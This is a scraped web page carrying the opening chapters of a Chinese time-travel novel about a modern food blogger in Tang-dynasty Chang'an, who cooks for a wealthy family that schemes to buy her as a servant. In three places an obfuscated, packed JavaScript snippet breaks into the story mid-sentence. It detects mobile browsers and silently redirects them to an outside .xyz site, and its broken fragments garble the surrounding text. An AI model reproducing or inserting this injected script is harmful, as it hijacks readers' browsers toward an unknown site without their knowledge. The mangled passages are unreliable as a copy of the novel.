《小厨娘不想攻略大佬》 1. 穿越(粟米粥) 注视着卢婶子她们的背影远去,“回来了?”白氏侧身让出大门的位置,“进来吧。” 待得姐弟俩进了院子,她探出头往右边巷子看了眼,才关上院门,落下门闩。 这点儿功夫,童白已将车停放在院子靠近西屋的位置,一点一点地将车上的粮食抱进去。童二郎则是牵着三娘,让她别黏着阿姊捣乱。 原主的身子过分娇弱,搬完粟米、粟粉和麦粉的童白这会儿喘着粗气,拉着独轮车去来到灶屋门前,将猪板油、前腿肉和菜蔬这些拿进去。 等童白忙完这些,院子里早已没了白氏的身影,只有咧开嘴、露出小米牙的二郎和三娘正朝她笑。 童白回应兄妹俩一个甜美的笑容:“二郎真棒,带着乖乖的三娘在一旁玩儿,你们饿了没?等阿姊给巷口的卢婶子家送还粮食,就回来做膳食,今晚咱们吃点好吃的。” 跟三娘一般大的时候,她也爱站在一旁看爷爷奶奶忙活。好像不这么看着他们,下一秒自己就会被抛弃。而佝偻着腰背的爷奶,是她唯一的依靠和依赖。 爷爷去世后,她跟奶奶相依为命,一毕业,她没像班上的同学忙着找工作,而是打包好行李毅然决然地回到了村里,跟奶奶一起住在村里,慢慢摸索着拍视频做美食博主,分享乡间的生活和美食。 没想到一朝穿越,她竟也成了别人眼中的依靠和依赖了,真是个新奇的体验啊! 至于白氏,她不在院子里也正常,从昨日坦白之后,哪怕晚上大家挤在一张床上睡觉,她对自己也是少言的几乎无言。 或许这才是陌生人该有的态度吧。 倒是比前些日子,明明是陌生人却努力装出熟悉来得更自在。 瞧了眼天色,童白找出竹篮,将还给卢婶子家的粟米放进去,又从谢嬷嬷给她的食材中一样挑了点,光这些东西就将竹篮塞得满满的。想了想,用菜刀切下一条两指宽的猪板油,用大树叶包好,挎着竹篮去了主屋。 “这些是打算送去卢婶子家的粟米和还礼,您看可行?”这些东西大多用便宜爹的饷银买的,哪怕二郎给她钱袋子的时候说了让她看着办,但于情于理,她觉得都该跟白氏知会一声。 白氏目光在竹篮里逡巡了一遍,微微颔首,从‘她’准备的东西不难看出,是个懂得人情往来的伶俐人,或许在有些事情上,‘她’做的比自己都要好。 但‘她’再好,也不是自己的大女儿,闭上眼,一滴晶莹剔透的泪珠顺着脸颊滑落。 童白就当没瞧见白氏脸上的泪水,朝趴在床上吃着手指的用水灵灵的大眼睛看向自己的四郎露出个无齿笑容,转身往外走。 “带上三娘一起。”白氏的声音响起。 童白身形停顿一瞬,不明白为何白氏要这么说,但也不是不行,她颔首应声“嗯”,腿一抬一跨,出了主屋。 去灶房拿了块深蓝色粗布将竹篮盖上,出门前,朝被二郎牵住的三娘伸出了左手,三娘快步上前,伸出右手拉住阿姊的左手,一脸兴奋地随着童白往外走。 留下的童二郎,羡慕的瞧着她们的背影,又低头瞧了眼自己的右手,眼中全是羡慕。阿姊只摸过自己头和肩,可没像牵三娘一般牵自己的手呢。 不过,瞧见阿姊左右手都不得空,他很快回了神,“哒哒哒”几步跑到她们身前,踮着脚移开门闩。 童白脸上浮现笑意,轻声道:“二郎先休息一会儿,等我回来再一起收拾做膳食。” 二郎点点头。 童白过去时,卢婶子家的院门虚掩着,她在木门上“笃笃笃”敲了三声,“卢婶子在家吗?” “在家呢,门没关,你进来吧。”卢婶子的声音由远及近。 童白推开虚掩的门,牵着三娘进了吴家的院子。 与童家几乎家徒四壁的院子不一样,吴家院子西南角落里开着一块菜地,透过拦在四周的荆棘护栏不难看出地上覆盖了厚厚的一层枯黄稻草。 吴家是主屋加东、西厢房的布局,除灶屋和厕所外,有五间屋子。 卢婶子正笑着从灶屋里迎出来,因干活还就卷起的衣袖也没放下。 “今日去西市买了些粟米回来,这是前段时日从您这借走的粟米,谢谢您及时伸出援手,要不然我家都不见得能熬过来,”视线正好扫过身旁的三娘,正好三娘也抬起头来,姐妹俩对视,三娘露出大大的笑容。 “里面除了粟米外,还有些别的,都是我们一家的心意,还请您收下。”掀开粗布,童白双手将竹篮递给卢婶子,话说的既郑重又贴心。 卢婶子的眼神在那上面一扫,知道童白的回礼不轻,她眼角皱纹深了几分,却客气地摆了摆手,“弟妹和侄女太客气了,婶子我才帮上那么点的忙,哪能收下。” 她知道童小娘子从谢家带回来的食材有哪些:一块带骨头的羊肉,一盒喜饼,再有些调料品,据说这是在厨房帮工的都有的。 喜饼是她们家逢年过节都舍不得买的点心。童小娘子礼数到位,她莫名便觉得这回礼里面会有。 童白上一世虽做的自媒体,但人情世故这些懂得不少,怎么可能信了卢婶子这心口不一的推拒话语。赶忙继续将篮子递上前,两人开启了过年送礼时的来回‘推搡撕扯’。在三娘含着手指头的注视中,最后卢婶子接了篮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042861|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子过去,转身回了灶屋。 这年头接了礼,是要将装礼的物件还回去的。 多么的朴实无华啊。 童白一手拂过额上的细密汗珠,另一只手把三娘含在嘴里的手指轻轻拿出来,小声提醒道:“三娘,不可以吃手手哦。”。 卢婶子的声音从灶屋里传出来:“这喜饼看着就喜庆,我听说是新来的武娘子做的,托你的福,婶子也算是尝到了员外郎家厨娘的手艺。”声音里的欢喜十分明显。 “哎哟,这饼上的花纹做的可真好看,要我说,武娘子哪怕没能聘入谢家,三月三的时候,在寺庙门口支张桌子,附近坊间富户权贵家的夫人太太们定然会让家里的奴婢买上不少。” 站在院子里的童白应了几声,脑中却是在调动原主的记忆。 三月三,上巳节!这可是长安城的大日子,曲江池畔、各大寺庙外定然人山人海,武侯管得松,正是摆摊卖吃食的绝好时机! 不过,得先攒够本钱…… 童白牵着三娘回到家,才进院子便觉察出不对劲:白氏扶着竹椅背,佝偻的身影立在院中,脸色比平日更白几分,目光停在推车上那个不起眼的布袋上。二郎红着眼站在屋檐下,眼神躲闪,不敢与阿姊对视,小手不安地绞着衣角。 童白松开三娘的手,“三娘去找二郎玩儿。”声音尽量平稳。她快速将竹篮粗布归置好,走到白氏面前,“您是有话跟我说?” 白氏靠在主屋门框上,身影在暮色中显得单薄又僵硬,声音像绷紧的弦:“把四郎也抱给二郎。” 童白依言将四郎安置在二郎腿边的竹椅上,示意二郎看好弟妹。 刚关上门,暮色将小屋笼罩得半明半暗。 白氏猛地转过身,声音像绷紧到极致的弦,带着哭腔和嘶哑:“你是不是……是不是还想着寻死?!”她惨白的脸上因激动泛起病态的红晕,那双酷似原主的杏眼里,盛满了滔天的悲痛、愤怒和无尽的迷茫,“你死了,我家女儿就能回来吗?啊?!” 童白被这突如其来的激烈情绪震住,只看向白氏,眼中全是愕然。 窗棂透进最后一点天光,映着白氏脸上交错的泪痕。 “既不能!”白氏逼近一步,指甲深深掐进掌心,身体微微发颤,“那你为何…为何还要买那东西?!那铺子里的霉豆子!二郎都告诉我了!你是不是觉得哄住了他们,就可以…就可以…”后面的话她说不下去,泪水汹涌而出,“你答应过的!你说只要不卖了你,你就会对二郎他们好!这才几天?你就说话不算数了吗?!”严厉的斥责里,是深不见底的绝望和一个母亲走投无路的脆弱。 2. 蜜渍金齑 行至卢婶子家不过百步,童白却觉脚下似坠了千斤重物。 她不是没注意到白氏停留在自己脖颈处的目光,心知白氏对她的身份起了疑惑,更明白这趟谢家‘短工’之行不是表面上看的那么简单。 但,这又如何?她得吃饭! 此时正是二月底,巷道里种的榆树都还没长出新叶,天光昏暗,坊门尚未开,坊内许多人家都已起来活动。 等到坊门外晨鼓声响起,卢婶子清瘦的身影出现在吴家院门处,甫一抬头就见童白站在坊墙阴影里。 晨风微冷,小娘子裹着麻布襦裙,身形如柳,肩背挺得笔直。 卢婶子原本觉得白氏教女太过娇气,但这几日见童白处理起事情的模样,心知这丫头看着不经事,却是个有成算的。放柔了声音道:“童小娘子等许久了吧?” 童白福了福身,轻声答:“也没等多久。”眼角余光瞥见不远处几个交头接耳的妇人。 童家搬来这崇贤坊,原主只在白氏病后才出门走动,在那之前几乎待在童家那个小院里,坊内这些妇人对原主好奇也无可厚非。 卢婶子耳边听着少女软软的声音,说话也轻柔了几分:“明日要是来得早,可以敲婶子家的门。”心下感慨,难怪白氏之前舍不得让童小娘子做活。 童白点头“嗯,”了一声,却没将这客套话太当真,“婶子,听说吴伯伯马上要回来了?”隔壁吴家大伯跟童爹都是崔将军麾下的校尉,原主之前在坊间听来的消息不能为真,若是…… “是,待大军回了长安,你爹这事便也能知晓了,”卢婶子领着童白往东坊门走,兴化坊在崇贤坊的东面,“在此之前,不管从哪儿听来的消息,你都需辨别一番。”她娘家有亲戚在县衙做事,有些消息比起别家要早些知晓。 “婶子说得极是。”童白点头,她听懂了卢婶子话语中的提点。 卢婶子见她神情认真,心知这是听进去了,想着前段时间从坊间听来的消息,她心中叹了口气,“莫急,崔将军最是护短仁义,对有功的旧部向来照拂,你阿爹既能脱籍出府定是立了大功,府上定不会不管你们孤儿寡母的。”立功脱籍在这时候算不得常见,这童家的既然能脱籍,立的功定然不小。 眼神又在童小娘子身上的麻衣上多瞧了几眼,若是坊间传的童家爹战死的消息为真,这孤儿寡母一家子后续的日子,还真是不好过啊。 又或者,卢婶子状若无意道:“谢家嬷嬷昨儿在我面前直夸你,说那‘蜜渍金齑’甚得老夫人欢心。”平日里也没听说过这童小娘子擅庖厨,没想到这趟去谢家,竟然得了主家的称赞。 卢婶子嘴里的蜜渍金齑是一种用蜜糖渍渍金橙、佐以梅子等物的甜点。上一世,童白做过复刻古代美食的特辑,其中便有这道甜品。 昨日童白见那谢家小娘子做了好几次都没能成功,便多说了几句。 “不过是几招从书上习来的饮食方法,婶子见笑了。”童白低眉,“而且我只提醒了几句话而已。”这道甜品是她在现代时,在某本古籍里看过的方子。而她教的也只是些讨巧的技巧罢了,严格说,都算不上厨艺。 “原来如此。” 两人嘴上闲聊着,脚下动作却不慢。卢婶子领着童白穿过崇延、安化、永宁三坊,待行至长兴坊内谢家角门时,日头已攀上槐树枝头,角门外候着不少|妇人。 原本有些嘈杂的声音在见到她们时,静默了一瞬,大家不约而同打量起卢婶子身边的瘦削小娘子来。 昨日下工,有不少人瞧见童白领了十五个钱,便多问了谢嬷嬷几句,却被谢家嬷嬷以“要想来主家做工赚银钱,需进献个庖厨秘技才得行。”的话语婉拒了。 庖厨秘技?她们要有这个,早就换银钱了,这小娘子,也不知道家里人怎般养的,就那么随意说了出来。 “童家小娘子,听说你家连粟米都吃不起,哪来的秘方?”说话之人眼睛直盯着童白,对她那矮小干瘦的身躯撇了撇嘴。 她身边的马脸妇人也抬眼看向童白,“就是,也说出来让我们见识见识。”打量的目光肆无忌惮。 两人的话语引起在场妇人们更恶意的打量和私语。 若是原主怕是不知所措,童白面上只浅浅一笑:“婶子若好奇,何不随我去向谢嬷嬷当面讨教那秘方?” “你!” 童白连个好眼神都没给这种人,她才不是软柿子。 这边的动静全落入了躲在暗处观察着这边的胡嬷嬷眼中,没想到,这不咋爱出门的童家小娘子,脾气竟是这般。 或许是担心这边吵闹招来不该来的人,那两名妇人后续未说什么,但狠厉的眼刀子却没少往童白身上扎。 不过,童白不以为意。 很快,昨日分配活计的谢嬷嬷领着谢家几处的管事出来。 谢嬷嬷在人群中瞧见童白,径直朝她走来:“童小娘子,随我来。” 童白低垂着头,“嗯”了一声,跟在谢嬷嬷身后。 谢嬷嬷与暗处的胡嬷嬷对视了一眼,胡嬷嬷轻点了点头。 不少羡慕的眼神落在童白身上,童白浑然不知,随着谢嬷嬷绕过影壁,穿主院,去到后院小厨房。 小厨房里,青冈炭在小火炉里烧得噼啪作响,小火炉上坐着的食物散发出诱人的香味,引得童白肚子里‘咕噜咕噜’直叫唤。 不过,她依然照着记忆中白氏教导原主的那般,眼观鼻鼻观心。 谢嬷嬷:“童小娘子今日需独自烹饪。”回想起昨日那蜜渍金橙瓣裹着石蜜,光下剔透如宝石,老夫人舀起时拉出三寸金丝的场景,当时她的位置离老夫人还有段距离,都闻到了柑橘清冽的混着梅子酸香的气味,喉头不由快速吞咽几下,没办法,实在是被馋的舌底生津来。 糖浆裹着橙瓣,轻拉金丝绵延不断,柑橘清冽混着梅子酸香钻入鼻尖,勾得舌底生津。 谭家这门亲事来得匆忙,自家小娘子哪哪都好,就是在这中馈之术上并不擅长。而谭员外郎却是十分注重口腹之欲,为了日后能在这谭员外郎那多得些看重,自家小娘子自定亲后可没少跟着厨娘学习。 奈何,并不是所有人都擅庖厨。 原本夫人都打算放弃了,没成想随意安排来小厨房打短工的童小娘子竟擅庖厨。 昨日夫人派去了解童小娘子情况的人一回来,得知其一家子在去岁时还是崔家的奴仆后,夫人便起了买下童小娘子的心思。 “嗯。”童白点头应下,其实根本没太听清谢嬷嬷在说什么,半垂着的脸煞白煞白,感觉到心慌,头眼冒星星。 谢嬷嬷瞧出了她的不对劲,她眼神一扫,帮厨立马给童白盛粥,瓷碗沿搭着块黍面饼。虽烤得焦硬,却比掺麸皮的饼子精细许多。 童白很饿,却还是按照原主用膳的习惯细嚼慢咽着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042862|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢嬷嬷越看越觉得满意,这童小娘子被教养的不错,作为陪房,应是不会丢主家的脸面。 视线在童白瘦削惨白的脸上停留了一瞬,就是瘦的有些厉害,好心道:“吃完这碗里的锅里还有。” 不是说这童家家主原本是延寿坊崔家的部曲吗?这瘦的好像好几个月没吃顿饱饭似的。 谢嬷嬷倒是没看错。 原主不会中馈,白氏病后做饭有一顿没一顿的,整个童家也跟着饥一顿饱一顿,后来,白氏病虽然有了起色,但童家的状况却越来越往下坡掉,自然是更吃不饱了,人就更瘦了。 用完早膳,谢嬷嬷指尖叩了叩案板,“我家小娘子的夫家最重炙肉,偏家中厨娘愚钝,连‘升平炙’都做不利索,”她斜睨童白,“童小娘子既懂蜜渍金齑,想必也见过崔府的炙法?” 童白垂眸,她曾复刻过的‘韦巨源烧尾宴’食谱中便有‘升平炙’,需用羊舌与鹿舌层层相叠制作。别说这谢家只是普通富商,就连二、三品的朝廷大员之家或许都没听过。 这谢嬷嬷分明在诈她。 她故作怯声道:“奴虽不知何为‘升平炙’,却曾见延寿坊的厨娘用羊脂裹肉炙烤过羊肉,外焦里嫩……”她十分清楚,没得自保能力前,需藏拙,“薄切的羊肉裹着融化的羊脂,油脂滴落炭火溅起金红火星,香气瞬间让奴口涎四溢……”但该秀能力的时候,也需展露。 不然,谢家为何让她个没关系又年岁小的小娘子来这小厨房打下手? 小娘子的声音清亮,脸上的神情虽然不多,但听她描述出来的美食,让谢嬷嬷喉头微动,竟一时忘了逼问。 平复了下心情,谢嬷嬷缓缓开口,“小娘子别自谦,那份蜜渍金齑那般美味,做其他吃食自然也不会差,”努力做出和善的表情:“若是能做出来,夫人有赏!”说着,手掌心朝上,一个银裸子出现在掌心。 童白看向银裸子,这还是她穿来后第一次见到银裸子。 色泽黯淡却沉甸甸,也不知道这么一块银裸子够买多少粟米?难免多了几分打量,这眼神落在谢嬷嬷那,便是上钩了的征兆。 是了,这银裸子谁见谁不迷糊,她瞧了眼童白身上的麻衣。 童白仓皇无措摆手道:“昨日那金齑也是在崔府时尝过,才私下琢磨了一番……”银裸子虽好,但烫手! 谢嬷嬷脸一沉:“夫人让你做,你便做!”她逼近一步,压低的声音带着不容置疑的压迫,“童家的境况,老身一清二楚。赏银瞧不上,莫非不想要工钱了?” 凭什么给十五个钱就想让她做出御膳大厨才能做的菜式? 童白心里清楚谢嬷嬷是在逼迫自己妥协,咬着唇,她知道这时候绝对不能硬刚,深吸一口气,“嬷嬷,你说的菜式我不会,哪怕是炙烤羊肉我也不会,但炙烤前的腌制或许能一试。”只能委婉降低对方需求。 谢嬷嬷瞧着眼前油盐不进的小娘子,犹豫要不要来硬的时,眼角余光撇到了侧方角落,她无奈点头道:“那就做吧。” 童白在厨娘的带领下进去小仓房去挑选食材,出来便专心腌制羊肉,她不止挑选了羊腿肉,还选择了羊排骨,她固执的认为,拿着骨头一起啃咬的羊肉更香。 就在童白专心处理羊肉时,一道带着金玉碰撞脆响的女声自身后响起,“既然都能腌制了,为何不做全套呢?童小娘子是觉得我谢家不配让你做这道菜吗?” 3. 破局!(炙烤羊肉) 身穿锦衣头戴金簪的妇人突然出现让童白陡然一惊,垂下脸福身行礼后低声道:“奴不敢,奴真不会。” “蜜渍金齑你又会了?”别看只是个甜品,却也不是谁都能会的。 “昨日奴只提醒几句,若是上手,必然也是不会的。” “童小娘子自谦了,”金簪妇人身后一名慈眉善目的嬷嬷道。 金簪妇人,也就是谢夫人吴氏,朝嬷嬷点点头,那慈眉善目的嬷嬷立马拿出个用布包裹住的物件,当着童白及众人的面,慢慢打开,“我们家夫人最是大方了,只要小娘子做出来,这个便是你的了!”话说完,那物件也显露在众人面前,是一粒半个拇指大小的金豆子! 这金豆并不像后世抛光过的金饰那般光彩夺目,却吸引着在场人的注意。 这可是实打实的金子啊! 童白目光中闪烁着挣扎,那金豆定然比银裸子值钱,肯定能换不少米粮,童白指尖无意识蜷缩,咬唇道:“奴是真的不会。” 见她这般,吴氏轻抬衣袖遮住唇角笑道:“倒是个实在的性子,”摆了摆手,“罢了,那你能做多少是多少吧。”心里想的却是现如今嘴硬,等卖身成了谢家的奴婢,她定然叫她知道嘴硬的下场。 童白却不知她心中打算,只暗舒了口气,“奴除了腌制羊肉外,也能做那炙烤的蘸料。” “炙烤的蘸料?”吴氏吃炙烤羊肉时从未蘸过料,追问道:“这是崔府的吃法?” 童白仔细回忆了下原主的记忆,原主为数不多能吃上炙烤羊肉的机会,好像只有烤肉,无蘸料。但这并不能代表崔府主子们吃炙烤羊肉时也没得蘸料。 但她明白言多必失,只摇头。 吴氏瞥了眼垂首不语的童白,对胡嬷嬷低声道:“打听清楚了?崔家当真不管这童家了?” 胡嬷嬷凑近耳语:“夫人放心,卢嫂子说童家连粟米都吃不起了。若是崔家还管顾,也不至于落得这个下场。” 吴氏指尖摩挲着金豆,眼中势在必得:“既如此……按计划办。娉婷的陪嫁,少不了这巧手厨娘。”使了个眼色给胡嬷嬷。 胡嬷嬷心领神会,假装瞧了眼外面的天色,“夫人,时候不早了…” 吴氏顺着这话语,“行了,先准备吧,我就等着尝一下小娘子这与众不同的炙烤羊肉。你做出来的菜若是得了老妇人的称赞,那金豆便是你的。”吴氏在童白前面钓上了诱饵。 童白垂着头,眼角余光却不由往金豆上瞄,“奴定会尽力。” 吴氏嘴角微勾,很满意她的回答,抬了抬手,便有那人带着童白去了小厨房的仓房选食材。 自家女儿的亲事是高攀,买个在中馈上有巧思的奴婢花不了几个大钱,听说那谭家的老夫人也是个嗜好吃蜜渍金齑类的食物。 女儿不擅长,没关系,陪嫁过去的厨娘擅长就成。 只希望这童家小娘子腌羊肉的手艺如同昨日做的点心一般,这样也不枉费家里老夫人特意喊了外侄孙来家里试菜。 食材选好,童白回到小厨房挑选厨具。 若说厨师是上战场的兵士,那厨具便是武器,要想立于不败之地,武器必须趁手。 童白作为拥有百万粉丝的美食博主,她所拥有的“武器”绝对不会少,但想着童家连个像样的菜刀都没有的灶屋,童白露出了恰如其分的没见过世面的表情。 在众多剔骨刀、砍骨刀中,选择了普通的菜刀。 手下动作看似熟练流畅,细看却带着一丝不易察觉的生硬和停顿。 仿佛身体的本能与大脑的刻意控制在进行拉锯。 羊肉被分解的大小不均匀的块状。 一旁的谢嬷嬷瞧见那成品,心中不由产生了这童小娘子究竟会不会庖厨的疑惑。 好在,童白定定的打量了一番,又补了补刀,直到羊肉块差不多时,她将从小厨房里拿出的调料挨个细闻和尝了尝。 岩盐,杂质多了些,若能用细盐,咸味会更纯粹;豉汁,咸鲜有余,醇厚不足,若有些许糖提味会更好。 现在只有这条件,将就用。 童白将分割成合适大小的羊肉用盐、姜片、葱段、花椒、大蒜末、豉汁、胡麻油和少量的酒腌制起来,抓匀后,放在了一旁静置。 “这是你从崔家学来的方法?”谢嬷嬷不经意问。 “不是,”童白头摇的跟拨浪鼓一般,“是我自己琢磨出来的。” 谢嬷嬷蹙眉,“金豆还在那儿放着呢,小娘子可得拿出真才实学来!” 童白点头,没说话,开始做蘸碟。 现代人制作炙烤食物,除了腌制肉类外,更会在炙烤的过程添加丰富的调料。这样不仅能给肉增添香味,还能丰富口感。 其中最常见的便是辣椒和孜然。 孜然,童白这几日去逛西市的时候看到过,但辣椒,若她没记错,得明朝时期才会传到华|国。在此之前若想食出辣味,只能用食茱萸。 但她并未在谢家这看到食茱萸。 童白脑中有了想法,干蘸料做椒盐和芝麻盐,湿蘸料做葱姜酱汁和蜜汁酱汁。难度不大,却有几分巧思,童白觉得非常适合原主的身份。 芝麻在这里叫胡麻,既用于榨油也用于其他美食,比如唐人常食用的胡麻油和胡麻饼。 让烧火的帮厨控制着火力在文火和中火之间,她将长安人常用于制饼的鏊子放在炉灶之上,分别炒制了熟花椒和熟白芝麻。 整个小厨房瞬间弥漫着两种食材混合交融的香味。 谢嬷嬷嗅着香味,见童白将炒香的胡麻和花椒分别放入杵臼,与岩盐同捣,然后盛放在不同的瓷碟中。 “这样即可了?”她疑惑道。 童白不好意思的笑着点头,都说是巧思了,技术难度必然会低一点。 做好干蘸料,她开始做湿蘸料,葱切成葱花,姜切成姜末,拿出瓷碗,加入适量豉汁、胡麻油、碾成粉末的冰糖和少量醋,搅拌均匀,再添加葱花和姜末拌匀,简单的葱姜酱汁便做好了。 童白动作停顿,看向谢嬷嬷的眼神中有些不确定。 谢嬷嬷眼神就没从童白身上移开过,自然是看到了她的动作,“童小娘子需要什么?” “奴想要做个甜口的蘸料,但这蜜汁酱汁需要用到蜜。若是家里有嗜甜口的,便做,若无,就……”蜂蜜在这会儿被称之为蜜或者白蜜,并不算多见。 “做,”坐在一旁的吴氏先同意道:“家里有蜜。” 等到蜜送来,童白用石蜜混着豉汁搅拌均匀,再加入少量姜末和胡麻油,蜜汁酱汁便好了。 谢嬷嬷见她忙完,端起几个蘸碟轻嗅,又送到了夫人面前。 吴氏低头闻了闻,眼神亮了几分,嘴上却道:“难道小娘子只打算用蘸料糊弄?” 这时候,那慈眉善目的嬷嬷又很适时的晃了晃手中的金豆。 童白:…… 她眼神很好,也不必频繁在她眼前晃悠。 而且,椒、盐蘸料和葱姜酱汁普通,但蜜汁酱汁却是一点也不普通。 但,不管心下怎么想,她却偷偷瞧了金豆好几眼,咽下口中唾沫,童白拿起一旁的黄瓜。 光吃炙烤羊肉未免口感单一,若是能搭配上醋腌黄瓜,解腻不说,还爽口。 童白切开黄瓜,将内里的籽去掉,添加豉汁和醋腌制好。 吴氏很满意她的识时务,朝身旁的嬷嬷抬了抬下巴, 那慈眉善目的嬷嬷好奇问:“这是做什么?” “单独吃羊肉难免有些油腻,奴便想着做点醋腌黄瓜。”唐朝虽没有酱油,但是醋却是常见的。谢家的醋她闻过,属于香醋一类,腌制出来的黄瓜,定然滋味不差。 这时,羊肉也够腌制时间了,对羊肉进行抓揉后,童白抬头道:“可以炙烤了。” 吴氏起身,“你们同我去往老夫人的院落。” 童白这才知道,原来不是这边做好送过去。不过也理解,现烤现吃的味道才叫好,送过去都凉了。再一个,闻着烤肉的香味吃才叫色香味俱全。 童白半垂着脸,站在厨娘身后,几乎被厨娘那壮硕的身躯给遮挡住了,这样偷偷打量着四周,并不显眼。 去到老夫人院子之后,她便明白,无需这么小心翼翼,她们在院子里忙活,而主家都坐在主院的堂屋里,别说偷瞄,就算是她往那边特意看,因为光线的原因,她也看不清里面有哪些人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042863|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炭烤炉火架起,谢家的厨娘动作麻利的炙烤起羊肉来,不一会儿,炙烤羊肉的香味传到堂屋里,打断了正在说话的几人。 一个穿着金丝线锦袍的小郎君道:“十九郎,你今日可要好好尝尝这炙烤羊肉,我这表妹马上要嫁去工部谭员外郎家,这段时日一直在家苦研中馈之道。”说着,做出闻嗅的姿势,“我感觉好像跟往常家里做的味道不太一样。” “六郎,你这孩子,干嘛做出这一幅怪模样!”坐在上位的王老夫人笑嗔道,“难道王家少了你一口羊肉吃了?” 她娘家在前朝时虽只是小吏之家,但新朝建立后,凭着从龙的功绩,早已不是过去的王家了。 王小郎苦着脸:“王家没饿着我,但学堂里做的饭食太难吃,这才想着来姑祖母家打打牙祭,”生怕王老夫人不信,他拉上坐在一旁的另一名小郎君,“十九郎,你说,学堂的饭食是不是难吃的很!” 被他唤作十九郎的少年,应声拱手行礼道:“是,还请老夫人别介意十九贸然上门的失礼。” 王老夫人目光在其俊俏的脸上停留一瞬,笑道:“小郎君客气了,来了家里,便跟六郎一样,是我的侄孙儿,一会儿多吃点,今日做这炙烤羊肉的便是做那蜜渍金齑的小娘子,她做的这蜜渍金齑,晶莹剔透,混合着柑橘换清新与梅子酸梅的香气,入口的味道算是我吃过的里面最好的。” 十九郎顺着王老夫人的话语抬手作揖,“姑祖母,这蜜渍金齑味道这般好,侄孙儿斗胆求品尝。”配上他挤眉弄眼地怪动作,这求吃食的话语添上了几分精怪。 反倒不显得失礼了。 老妇人抬抬手,她身边伺候的嬷嬷下去张罗着金齑泡水,等到端上来时,王六郎忍不住赞道:“好香!” 童白耳尖的听到了这句赞叹,让她在紧张中感到一丝成就,但谢嬷嬷冰冷的视线立刻让她绷紧神经。 切记切记,不能情绪外放。 随着羊肉炙烤的时间越长,油脂滴落炭火‘嗞啦’作响,香味入了堂屋里,引得王六郎跟个猴子似得没法安心坐下等待。多年的家族教导让他知道,不能直接去到院子中去,双重折磨之下,便问了几句这做膳食的小娘子的情况。 王老夫人其实也知道的很少,只答应说,要是羊肉好吃,便让那小娘子来领赏钱。 随着烤肉和蘸料分桌端上来,一时间王六郎也顾不上说话,赶忙吃了起来。 他身旁的十九郎也是斯文却不慢的吃着嘴里的羊肉,外皮烤得金黄酥脆,内里鲜嫩多汁,热气裹着肉香直往人鼻子里钻。比起他在主家吃过的大厨做的炙烤羊肉都要好吃几分。 想着自己那爱吃炙烤肉的上峰,十九郎仔细回味了食材的美味,拿起紫檀筷箸,伸向一旁的青翠越瓜,入嘴便感受到一股子酸爽,咀嚼之后发现既能解去羊肉的油腻,还增进了食欲。 就这样一口肉,一口越瓜,再来一口酸甜的金齑泡水,盘子里的食物越吃越少,一时间,室内只余下满足的咀嚼与轻微的碗箸碰撞声。 主家吃的欢心,那边下人们也忙活的起劲,除了送到老夫人这的外,还有其他院落也在等着这边的炙烤羊肉。 等到主家吃完了,她们这才在谢嬷嬷的引领下回了小厨房,等到收拾完小厨房,日头早已偏西。 这时候的长安,平民一般食两顿,权贵和富商食三顿。她们作为谢家的短工,没有食三顿的待遇,却是可以在午时略略休息一番。 不过才忙碌完的童白却是没能休息,被那吴氏派来的人喊着去往主院。 路上,谢嬷嬷提点道:“小娘子,夫人心善,见你家道艰难,特意想给你指条明路。签了身契,吃穿不愁,你弟妹也能得济。一会儿见了夫人,可要识抬举。” 谢嬷嬷的话像淬了冰的针,扎得童白浑身发冷。 身契等同于卖身为奴,她猛地抬眼,撞进谢嬷嬷不容置疑的目光里,一颗心直直沉了下去。 卖身为奴?这四个字像烧红的烙铁烫在心尖。 她骨子里流淌的是“人人生而平等”的血,岂能甘为牛马? 童白死死垂着头,指甲掐进掌心,才勉强压下喉头的腥甜和眼底的戾光。 破局!必须破局! 4. 不是卖身,是活契 谢嬷嬷腰背挺直走在前面,童白垂首跟在其身后,一路行来,府上仆妇纷纷向她行礼,就跟那雄赳赳的大母鸡带着幼崽在巡视地盘似的。 只不过在童白心中,这谢嬷嬷是要送自己上刑场的狱卒! 不,比那狱卒还要可恶! 她是怎么也没想到,自己哪怕收着厨艺了,却还是让谢家产生了觊觎之心。 而谢家的反应竟然是买下她! 谢嬷嬷对童白乖巧柔顺的反应很满意,不愧是崔家放出来的家生子,从小被调教规矩,才能这般知进退。 完全没想到看似乖巧的童白,正在思考着如何才能不被强卖身的破局办法。 童白清楚自己才穿来没几日,没有人脉,助力得从原主身上找。 破船还有三斤钉,童爹既能从崔家众多的部曲中混得脱籍,总不能什么后手都不给家人留。 只不过,当她努力扒拉原主记忆,收获甚少。 